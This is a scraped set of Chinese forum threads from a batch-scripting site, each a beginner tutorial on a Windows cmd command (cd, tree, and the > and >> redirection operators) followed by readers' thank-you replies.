1、目录跳转：cd

  • 默认表情
  • 酷猴
  • 呆呆男
:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学]（1）目录跳转：cd
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 5 6 7 8 9 10 ... 11 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2008-11-12 21:19 | 只看该作者

[原创] [批处理命令一日一教学]（1）目录跳转：cd

[一日一教学]批处理系列帖子索引 http://www.bathome.net/thread-2576-1-1.html

标题：一日一教学系列1_目录跳转：cd
首发地址：http://bbs.bathome.net/viewthread.php?tid=2513
发表日期：2008.11.12
更新日期：无

上一篇：无
下一篇：以树形格式罗列文件：tree http://bbs.bathome.net/viewthread.php?tid=2514

    当我们需要处理不同路径下的文件的时候，很可能需要切换目录，这个时候，可以考虑使用目录跳转命令cd。

    例如，我们打开命令行窗口的时候，一般是这样操作的：在桌面左下角找到“开始”菜单，打开“运行”，输入“cmd”，回车。这个时候，命令行窗口默认的当前目录位于当前用户所在的路径下，比如：C:\Documents and Settings\JM，如下图所示。

下载 (2.41 KB)
默认目录
2008-11-12 21:19

    一般而言，这个目录下并没有我们想要处理的文件，我们很可能需要跳转到其他目录，比如说：C盘根目录，这个时候，我们就需要使用cd来实现目录的跳转了：cd c:\。

下载 (731 Bytes)
跳转到C盘
2008-11-12 21:19

    cd的全称是Change Directory，直译为改变文件夹，也就是跳转目录、切换路径的意思。它后面可以接驱动器符号、完整路径和相对路径。从它的全称可以得知，它不能操控文件，而只能作用于驱动器或文件夹。例如，我们使用 cd c:\boot.ini 这个命令来跳转（boot.ini是文件而非文件夹），就会出现“目录名无效”的错误，如下图所示。

下载 (1.26 KB)
不能跳转到文件
2008-11-12 21:19

    如果要跳转到当前目录的根目录下的话，可以使用一条简单的命令：cd\。如下图所示。

下载 (2.45 KB)
跳转到根目录下
2008-11-12 21:19

    继续跳转，cd c:\windows\temp，跳转到临时目录下。

    此时，如果想回到上一层目录windows，可以使用这条命令：cd..。如下图所示。

下载 (540 Bytes)
跳转到上一层
2008-11-12 21:19

    想想看，如果执行 cd. 会发生什么情况？

    结果，目录没有发生跳转，原地不动。如下图所示。利用这个原理，可以用 cd.>test.txt 来构造0字节的文本文件。详细情况，请参考这篇文章：本人常用的批处理实用技巧 之第2点。

下载 (429 Bytes)
跳转到当前目录
2008-11-12 21:19

    原来，在cmd中，.、..和\表示相对路径，.是当前目录，..是上一层目录，而\表示根目录。

    来看一个比较诡异的现象：

下载 (1.17 KB)
何时使用强制跳转参数？
2008-11-12 21:19

    从当前目录下跳转到不同分区路径d:\的时候，cd d:\没有成功，当前目录没有发生改变；当添加了一个参数 /d 之后，命令成功地执行了。原来，要跳转到不同分区的时候，需要添加强制跳转参数 /d 。但是，如果进入的是当前目录的子目录，则可以不使用 /d 参数。这一点是很容易被大家忽略的，希望能引起足够的重视。

    再来看一个更加诡异的现象：

下载 (1.59 KB)
驱动器冒号后添加反斜杠与否的差别
2008-11-12 21:19

    原来，当输入的是当前驱动器号+冒号的时候，将显示当前目录的完整路径；当输入的是当前驱动器号+冒号+反斜杠的时候，将跳转到当前路径的根目录下。

    CD 的另一个非常有价值的用途是：显示当前的完整路径，一般用通过 %cd% 加以引用。如下图所示。此时，CD 作 Current Directory 解释，即“当前文件夹”。

下载 (840 Bytes)
显示当前路径
2008-11-12 21:26

    高级话题：看看下面这幅图反映了什么问题？

下载 (2.08 KB)
诡异的现象
2008-11-12 21:19

1

评分人数

    • jrx401: 基础很重要。学习了。技术 + 1
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

weiyepin
  • 发短消息
  • 加为好友

weiyepin 当前离线

UID
2752
帖子
22
精华
0
积分
303
PB
303
技术
0
捐助
0
阅读权限
20
在线时间
47 小时
注册时间
2008-6-11
最后登录
2017-6-24

五级士官

帖子
22
积分
303
技术
0
捐助
0
注册时间
2008-6-11
2楼
发表于 2008-11-12 22:25 | 只看该作者
呵呵，

温习温习了
回复 引用

评分 报告 TOP

chenyulzhh
  • 发短消息
  • 加为好友

chenyulzhh 当前离线

UID
885
帖子
10
精华
0
积分
186
PB
186
技术
0
捐助
0
阅读权限
20
来自
重庆
在线时间
28 小时
注册时间
2008-3-8
最后登录
2016-1-12

二级士官

帖子
10
积分
186
技术
0
捐助
0
注册时间
2008-3-8
3楼
发表于 2008-11-12 22:30 | 只看该作者
支持...
P处理教育还是要从基础做起..
回复 引用

评分 报告 TOP

shi2525775
  • 发短消息
  • 加为好友

shi2525775 当前离线

UID
6548
帖子
2
精华
0
积分
170
PB
170
技术
0
捐助
0
阅读权限
20
在线时间
3 小时
注册时间
2008-11-11
最后登录
2008-11-26

二级士官

帖子
2
积分
170
技术
0
捐助
0
注册时间
2008-11-11
4楼
发表于 2008-11-12 22:38 | 只看该作者
@echo 每天学习学习
回复 引用

评分 报告 TOP

solitude
  • 发短消息
  • 加为好友

solitude 当前离线

UID
708
帖子
24
精华
0
积分
289
PB
289
技术
0
捐助
0
阅读权限
20
在线时间
13 小时
注册时间
2008-3-1
最后登录
2012-4-28

四级士官

帖子
24
积分
289
技术
0
捐助
0
注册时间
2008-3-1
5楼
发表于 2008-11-12 22:40 | 只看该作者
呵呵,学习了新点.
cd.>test.txt
回复 引用

评分 报告 TOP

lhjoanna
  • 发短消息
  • 加为好友

lhjoanna 当前离线

UID
5547
帖子
231
精华
1
积分
2497
PB
2467
技术
10
捐助
0
阅读权限
254
在线时间
605 小时
注册时间
2008-10-12
最后登录
2014-6-18

荣誉版主

帖子
231
积分
2497
技术
10
捐助
0
注册时间
2008-10-12
6楼
发表于 2008-11-12 22:58 | 只看该作者
最有一张图片，输入cd d: 显示d:\ 说明上次从d盘跳出时是在根目录。如果输入下面命令(输完一个按一次回车)(设d：下有movie文件夹)：

d：
cd movie
c:
cd d:

输入后则会显示d:\movie
回复 引用

评分 报告 TOP

hlzj88
  • 发短消息
  • 加为好友

hlzj88 当前离线

UID
6278
帖子
482
精华
0
积分
1171
PB
1094
技术
19
捐助
20
阅读权限
50
来自
青海西宁
在线时间
228 小时
注册时间
2008-11-3
最后登录
2018-6-1

上尉

帖子
482
积分
1171
技术
19
捐助
20
注册时间
2008-11-3
7楼
发表于 2008-11-12 23:00 | 只看该作者
一直没有用过 cd /d
谢谢了
目的，学习批处理
回复 引用

评分 报告 TOP

ghostbbs
  • 发短消息
  • 加为好友

ghostbbs 当前离线

UID
6918
帖子
1
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2008-11-21
最后登录
2009-1-18

二级士官

帖子
1
积分
168
技术
0
捐助
0
注册时间
2008-11-21
8楼
发表于 2008-11-21 12:37 | 只看该作者
这句好看
cd.>test.txt

另外运行中输入
.
..
...
也都是有用的，
回复 引用

评分 报告 TOP

shuhangchen
  • 发短消息
  • 加为好友

shuhangchen 当前离线

UID
7169
帖子
5
精华
0
积分
179
PB
179
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2008-11-28
最后登录
2008-11-29

二级士官

帖子
5
积分
179
技术
0
捐助
0
注册时间
2008-11-28
9楼
发表于 2008-11-28 10:39 | 只看该作者
这个我们上课的时候也用过
回复 引用

评分 报告 TOP

gs133790
  • 发短消息
  • 加为好友

gs133790 当前离线

UID
5857
帖子
21
精华
0
积分
206
PB
206
技术
0
捐助
0
阅读权限
20
在线时间
1256 小时
注册时间
2008-10-24
最后登录
2009-2-24

三级士官

帖子
21
积分
206
技术
0
捐助
0
注册时间
2008-10-24
10楼
发表于 2008-11-28 20:28 | 只看该作者
呵呵,最基本的DOS命令.
回复 引用

评分 报告 TOP

firewolf85
  • 发短消息
  • 加为好友

firewolf85 当前离线

UID
7374
帖子
93
精华
0
积分
871
PB
871
技术
0
捐助
0
阅读权限
40
在线时间
27 小时
注册时间
2008-12-5
最后登录
2009-12-3

中尉

帖子
93
积分
871
技术
0
捐助
0
注册时间
2008-12-5
11楼
发表于 2008-12-8 16:17 | 只看该作者
%cd%
又张见识了，谢谢楼主
回复 引用

评分 报告 TOP

onlinefox
  • 发短消息
  • 加为好友

onlinefox 当前离线

UID
7637
帖子
2
精华
0
积分
170
PB
170
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2008-12-15
最后登录
2008-12-15

二级士官

帖子
2
积分
170
技术
0
捐助
0
注册时间
2008-12-15
12楼
发表于 2008-12-15 10:39 | 只看该作者
学习了，楼主幸苦
很实用
回复 引用

评分 报告 TOP

axingsky
  • 发短消息
  • 加为好友

axingsky 当前离线

UID
8021
帖子
6
精华
0
积分
176
PB
176
技术
0
捐助
0
阅读权限
20
在线时间
3 小时
注册时间
2008-12-25
最后登录
2013-2-25

二级士官

帖子
6
积分
176
技术
0
捐助
0
注册时间
2008-12-25
13楼
发表于 2008-12-26 16:09 | 只看该作者
原来就一个CD命令就这么多用法 学习了
回复 引用

评分 报告 TOP

xujin1402008
  • 发短消息
  • 加为好友

xujin1402008 当前离线

UID
7973
帖子
9
精华
0
积分
184
PB
184
技术
0
捐助
0
阅读权限
20
在线时间
7 小时
注册时间
2008-12-24
最后登录
2009-1-2

二级士官

帖子
9
积分
184
技术
0
捐助
0
注册时间
2008-12-24
14楼
发表于 2008-12-28 14:46 | 只看该作者
很详细啊~谢谢~~~~~
回复 引用

评分 报告 TOP

xujin1402008
  • 发短消息
  • 加为好友

xujin1402008 当前离线

UID
7973
帖子
9
精华
0
积分
184
PB
184
技术
0
捐助
0
阅读权限
20
在线时间
7 小时
注册时间
2008-12-24
最后登录
2009-1-2

二级士官

帖子
9
积分
184
技术
0
捐助
0
注册时间
2008-12-24
15楼
发表于 2008-12-28 14:54 | 只看该作者
/d 没用过啊，怪不得在CMD中老是转不到其他盘符~~~
回复 引用

评分 报告 TOP

1 2 3 4 5 6 7 8 9 10 ... 11 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 20:49, Processed in 0.049015 second(s), 9 queries, Gzip enabled.

Powered by Discuz! 7.2

? 2001-2009 Comsenz Inc.


2、以树形格式罗列文件：tree

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学]（2）以树形格式罗列文件
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 5 6 7 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2008-11-12 22:12 | 只看该作者

[原创] [批处理命令一日一教学]（2）以树形格式罗列文件

[一日一教学]批处理系列帖子索引 http://www.bathome.net/thread-2576-1-1.html

标题：一日一教学系列2_以树形格式罗列文件：tree
首发地址：http://bbs.bathome.net/viewthread.php?tid=2514
发表日期：2008.11.12
更新日期：无

上一篇：目录跳转：cd http://bbs.bathome.net/viewthread.php?tid=2513
下一篇：内容重定向符号：>和>> http://bbs.bathome.net/viewthread.php?tid=2516

    tree ，在英语中的基本含义是“树”，在cmd中，tree命令的功能是以树形格式罗列文件。

    当你向别人展示你自己所做光盘的内容的时候，或者是罗列你硬盘上某个目录下的资料的时候，tree命令显得相当方便，并且能让你展示的内容层次分明，井井有条。啥也不说了，上图，顺便温习一下cd命令。

下载 (17.45 KB)
tree命令演示
2008-11-12 22:12

    当然，你可能并不满足于只给别人抓张图，你可能还想把这些信息导入到文件中去，加工一番再发出去，那么，请使用这条命令：tree>list.txt，这样，所有的信息都保存到list.txt文件中去了。

    更多的命令，请在cmd窗口中用 tree /? 查询（其实就两个参数）。

    很可能只是一条简单的命令，只是一眨眼的工夫，就解决了你的大问题，这就是cmd的简洁，这就是cmd的力量！
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

solitude
  • 发短消息
  • 加为好友

solitude 当前离线

UID
708
帖子
24
精华
0
积分
289
PB
289
技术
0
捐助
0
阅读权限
20
在线时间
13 小时
注册时间
2008-3-1
最后登录
2012-4-28

四级士官

帖子
24
积分
289
技术
0
捐助
0
注册时间
2008-3-1
2楼
发表于 2008-11-12 22:38 | 只看该作者
谢谢,这个命令没有接触过!学习了!
回复 引用

评分 报告 TOP

hlzj88
  • 发短消息
  • 加为好友

hlzj88 当前离线

UID
6278
帖子
482
精华
0
积分
1171
PB
1094
技术
19
捐助
20
阅读权限
50
来自
青海西宁
在线时间
228 小时
注册时间
2008-11-3
最后登录
2018-6-1

上尉

帖子
482
积分
1171
技术
19
捐助
20
注册时间
2008-11-3
3楼
发表于 2008-11-12 22:41 | 只看该作者
这个命令学习过，但除了将内容显示和写入文本，我是不知道他还能有什么用的，如果有，请楼主给讲一下，给个实例最好！！

回楼下的版主，我的意思是结合bat，他还能做什么，貌似没有见过其他的用法

[ 本帖最后由 hlzj88 于 2008-11-13 00:19 编辑 ]
目的，学习批处理
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
4楼
发表于 2008-11-12 22:47 | 只看该作者
    实例已经有了，就在顶楼的图片中。

    使用情形：向他人展示某个目录下的文件结构，或是给自己看~~更多的使用场合，请自行发掘——君不见，软件论坛里某大牛神秘兮兮地拉出一张清单：本人的××光盘内容如下……台下的观众蜂拥而上……
1

评分人数

    • x9tiancmd: 对君不见..会心一笑PB + 1
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

coolhui
  • 发短消息
  • 加为好友

coolhui 当前离线

UID
567
帖子
15
精华
0
积分
197
PB
197
技术
0
捐助
0
阅读权限
20
在线时间
3 小时
注册时间
2008-2-20
最后登录
2015-2-13

二级士官

帖子
15
积分
197
技术
0
捐助
0
注册时间
2008-2-20
5楼
发表于 2009-1-1 23:57 | 只看该作者
这个命令第一次见哦，看样子挺方便哦，谢谢分享·~~
回复 引用

评分 报告 TOP

nanoking
  • 发短消息
  • 加为好友

nanoking 当前离线

UID
8374
帖子
5
精华
0
积分
176
PB
176
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2009-1-5
最后登录
2009-1-21

二级士官

帖子
5
积分
176
技术
0
捐助
0
注册时间
2009-1-5
6楼
发表于 2009-1-5 02:56 | 只看该作者
以前经常用它来打印文件列表！
要是把多个参数再说明一下就更好了！
回复 引用

评分 报告 TOP

p05401144
  • 发短消息
  • 加为好友

p05401144 当前离线

UID
8473
帖子
45
精华
0
积分
288
PB
288
技术
0
捐助
0
阅读权限
20
来自
湖北荆州
在线时间
28 小时
注册时间
2009-1-7
最后登录
2009-2-2

四级士官

帖子
45
积分
288
技术
0
捐助
0
注册时间
2009-1-7
7楼
发表于 2009-1-7 14:56 | 只看该作者
学习了
太强大了
谢谢
回复 引用

评分 报告 TOP

wolhh
  • 发短消息
  • 加为好友

wolhh 当前离线

UID
8894
帖子
8
精华
0
积分
182
PB
182
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2009-1-21
最后登录
2012-3-9

二级士官

帖子
8
积分
182
技术
0
捐助
0
注册时间
2009-1-21
8楼
发表于 2009-1-21 13:39 | 只看该作者
能辛苦楼主把每个命令的参数详细的说下好吗 谢啦 ~~~~~
回复 引用

评分 报告 TOP

zhangenming
  • 发短消息
  • 加为好友

zhangenming 当前离线

UID
2910
帖子
21
精华
0
积分
237
PB
237
技术
0
捐助
0
阅读权限
20
在线时间
15 小时
注册时间
2008-7-1
最后登录
2016-3-8

三级士官

帖子
21
积分
237
技术
0
捐助
0
注册时间
2008-7-1
9楼
发表于 2009-1-25 15:47 | 只看该作者
强大………………

无语了 我竟然不知道
回复 引用

评分 报告 TOP

cui0029
  • 发短消息
  • 加为好友

cui0029 当前离线

UID
8204
帖子
6
精华
0
积分
187
PB
187
技术
0
捐助
0
阅读权限
20
在线时间
4 小时
注册时间
2008-12-31
最后登录
2012-9-17

二级士官

帖子
6
积分
187
技术
0
捐助
0
注册时间
2008-12-31
10楼
发表于 2009-1-26 22:57 | 只看该作者
很实用！对新手很有帮助！顶楼主！
回复 引用

评分 报告 TOP

kingke1229
  • 发短消息
  • 加为好友

kingke1229 当前离线

UID
5769
帖子
1
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2008-10-21
最后登录
2009-1-31

二级士官

帖子
1
积分
168
技术
0
捐助
0
注册时间
2008-10-21
11楼
发表于 2009-1-31 01:32 | 只看该作者
谢谢楼主，今天我酒学到这里啦。。嘿嘿。。。。
回复 引用

评分 报告 TOP

zhbi001
  • 发短消息
  • 加为好友

zhbi001 当前离线

UID
9185
帖子
10
精华
0
积分
336
PB
336
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2009-2-4
最后登录
2009-4-14

五级士官

帖子
10
积分
336
技术
0
捐助
0
注册时间
2009-2-4
12楼
发表于 2009-2-9 03:14 | 只看该作者
这个命令太好，可以清楚的看到自己盘符的所有文件，一目了然。谢谢楼主，顶
回复 引用

评分 报告 TOP

ffwwpp
  • 发短消息
  • 加为好友

ffwwpp 当前离线

UID
8681
帖子
11
精华
0
积分
186
PB
186
技术
0
捐助
0
阅读权限
20
在线时间
48 小时
注册时间
2009-1-13
最后登录
2017-11-21

二级士官

帖子
11
积分
186
技术
0
捐助
0
注册时间
2009-1-13
13楼
发表于 2009-2-20 14:06 | 只看该作者
学习了，谢谢楼主！谢谢坛主！
回复 引用

评分 报告 TOP

xtzyl0125
  • 发短消息
  • 加为好友

xtzyl0125 当前离线

UID
9729
帖子
2
精华
0
积分
170
PB
170
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2009-2-23
最后登录
2009-3-2

二级士官

帖子
2
积分
170
技术
0
捐助
0
注册时间
2009-2-23
14楼
发表于 2009-2-23 11:15 | 只看该作者
谢谢 学习中，新手，希望多学习东西
回复 引用

评分 报告 TOP

whedu
  • 发短消息
  • 加为好友

whedu 当前离线

UID
9742
帖子
22
精华
0
积分
213
PB
213
技术
0
捐助
0
阅读权限
20
在线时间
11 小时
注册时间
2009-2-23
最后登录
2009-4-3

三级士官

帖子
22
积分
213
技术
0
捐助
0
注册时间
2009-2-23
15楼
发表于 2009-2-23 21:07 | 只看该作者
又学了一课，谢谢！！
回复 引用

评分 报告 TOP

1 2 3 4 5 6 7 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 20:50, Processed in 0.046238 second(s), 9 queries, Gzip enabled.


3、内容重定向：>和>>

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:
加载中...

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学]（3）内容重定向符号：>和>>
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 5 6 7 8 9 10 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2008-11-13 12:08 | 只看该作者

[原创] [批处理命令一日一教学]（3）内容重定向符号：>和>>

[一日一教学]批处理系列帖子索引 http://www.bathome.net/thread-2576-1-1.html

标题：一日一教学系列3_内容重定向：>和>>
首发地址：http://bbs.bathome.net/viewthread.php?tid=2516
发表日期：2008.11.13
更新日期：无

上一篇：以树形格式罗列文件：tree http://bbs.bathome.net/viewthread.php?tid=2514
下一篇：条件判断：if http://bbs.bathome.net/viewthread.php?tid=2530

    当我们在cmd窗口中查询某条命令的帮助信息的时候，帮助信息是显示在命令行窗口中的，命令行窗口关闭后，这些帮助信息就看不到了，如果下次还想看，又得在命令行窗口中输入查询命令，比较繁琐。

    有没有办法把显示在命令行窗口中的帮助信息保存下来呢？

    答案是肯定的，并且有不止一种答案。

    稍微繁琐一点的办法就是复制命令行窗口中的信息，然后粘贴到文本中保存起来。这个操作比较繁琐的：在命令行窗口点击右键，然后选择“标记”，用鼠标拉出复制范围，然后敲回车，最后，粘贴到文本中去。

    高效的办法就是：使用重定向符号，把原本输出到cmd窗口中的信息重定向到文本文件中去。

    重定向符号有两个：>和>>。它们的作用都是改变各种提示信息的输出方向，把提示信息输出到指定的地方去——各种提示信息默认是输出到屏幕上去的。例如：tree /?>help.txt，这条命令语句就把 tree 命令的帮助信息重定向到了help.txt文件中，help>nul 就把 help 命令的提示信息重定向到了空设备中去（nul表示空设备）。

    想看看cmd中都有哪些基本命令吗？在cmd窗口中输入 help 就可以看到了；如果想把这些基本命令信息保存下来，请使用 help>d:\list.txt ，然后，到D盘根目录下找到list.txt文件打开即可。

    >和>>虽然都起到重定向提示信息的作用，但是，它们的作用稍有差别。单个的>表示以覆盖方式重定向提示信息，也就是说如果目的地原来有内容，将把原来的内容清除掉，用新内容填充；>>表示以追加的方式重定向提示信息，也就是说，如果目的地原来有内容，原有的内容将保持不变，在原有内容之后追加新内容。例如：假设d:\test.txt中的内容是：I Love batch。那么，在cmd窗口中，分别使用如下两条语句：echo me,too>d:\test.txt和echo me,too>>d:\test.txt，将会发现，使用第一条语句之后，test.txt中只有一行内容：me,too，而使用第二条语句之后，test.txt中将有两行内容，分别是I Love batch和me,too。
9

评分人数

    • liao7456: 感谢分享技术 + 1
    • jrx401: 感谢楼主技术 + 1
    • fengnazi: 学习了。技术 + 1
    • xifeifei: 辛苦了技术 + 1
    • dashu: 辛苦，学习了！技术 + 1
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

wxcute
  • 发短消息
  • 加为好友

wxcute (冰疼)当前离线

UID
3607
帖子
618
精华
0
积分
6097
PB
6073
技术
8
捐助
0
阅读权限
254
在线时间
663 小时
注册时间
2008-8-10
最后登录
2010-2-24

荣誉版主

帖子
618
积分
6097
技术
8
捐助
0
注册时间
2008-8-10
2楼
发表于 2008-11-13 13:54 | 只看该作者
楼主辛苦。教学内容浅显易懂。
回复 引用

评分 报告 TOP

akiraakito
  • 发短消息
  • 加为好友

akiraakito 当前离线

UID
6455
帖子
10
精华
0
积分
230
PB
221
技术
3
捐助
0
阅读权限
20
在线时间
6 小时
注册时间
2008-11-8
最后登录
2008-11-17

三级士官

帖子
10
积分
230
技术
3
捐助
0
注册时间
2008-11-8
3楼
发表于 2008-11-13 20:17 | 只看该作者
这个我学会了~~谢谢楼主
回复 引用

评分 报告 TOP

kennybao
  • 发短消息
  • 加为好友

kennybao 当前离线

UID
6398
帖子
12
精华
0
积分
190
PB
190
技术
0
捐助
0
阅读权限
20
在线时间
18 小时
注册时间
2008-11-6
最后登录
2008-12-24

二级士官

帖子
12
积分
190
技术
0
捐助
0
注册时间
2008-11-6
4楼
发表于 2008-11-15 12:40 | 只看该作者
恩，这个不错，容易懂。还是要顶下JM，敲字辛苦啊。
回复 引用

评分 报告 TOP

wnyw
  • 发短消息
  • 加为好友

wnyw 当前离线

UID
6737
帖子
5
精华
0
积分
174
PB
174
技术
0
捐助
0
阅读权限
20
在线时间
4 小时
注册时间
2008-11-16
最后登录
2016-8-29

二级士官

帖子
5
积分
174
技术
0
捐助
0
注册时间
2008-11-16
5楼
发表于 2008-11-16 10:24 | 只看该作者
学习了,谢谢楼主..
回复 引用

评分 报告 TOP

envelop
  • 发短消息
  • 加为好友

envelop 当前离线

UID
6874
帖子
2
精华
0
积分
172
PB
172
技术
0
捐助
0
阅读权限
20
在线时间
2 小时
注册时间
2008-11-19
最后登录
2008-11-21

二级士官

帖子
2
积分
172
技术
0
捐助
0
注册时间
2008-11-19
6楼
发表于 2008-11-20 20:43 | 只看该作者
楼主费心了，。十分感动！！
回复 引用

评分 报告 TOP

lishuheng
  • 发短消息
  • 加为好友

lishuheng 当前离线

UID
5747
帖子
1
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
14 小时
注册时间
2008-10-21
最后登录
2010-3-14

二级士官

帖子
1
积分
168
技术
0
捐助
0
注册时间
2008-10-21
7楼
发表于 2008-11-21 00:00 | 只看该作者
正在努力学习批处理!!!!
回复 引用

评分 报告 TOP

fhefh
  • 发短消息
  • 加为好友

fhefh 当前离线

UID
7212
帖子
4
精华
0
积分
174
PB
174
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2008-11-29
最后登录
2009-1-17

二级士官

帖子
4
积分
174
技术
0
捐助
0
注册时间
2008-11-29
8楼
发表于 2008-11-30 09:00 | 只看该作者
楼主，教程通俗易懂，希望楼主再接再厉呀！！
回复 引用

评分 报告 TOP

firewolf85
  • 发短消息
  • 加为好友

firewolf85 当前离线

UID
7374
帖子
93
精华
0
积分
871
PB
871
技术
0
捐助
0
阅读权限
40
在线时间
27 小时
注册时间
2008-12-5
最后登录
2009-12-3

中尉

帖子
93
积分
871
技术
0
捐助
0
注册时间
2008-12-5
9楼
发表于 2008-12-7 15:44 | 只看该作者
echo 拜读>谢谢楼主.txt
回复 引用

评分 报告 TOP

sunshine
  • 发短消息
  • 加为好友

sunshine 当前离线

UID
7427
帖子
2
精华
0
积分
170
PB
170
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2008-12-7
最后登录
2008-12-8

二级士官

帖子
2
积分
170
技术
0
捐助
0
注册时间
2008-12-7
10楼
发表于 2008-12-7 22:44 | 只看该作者
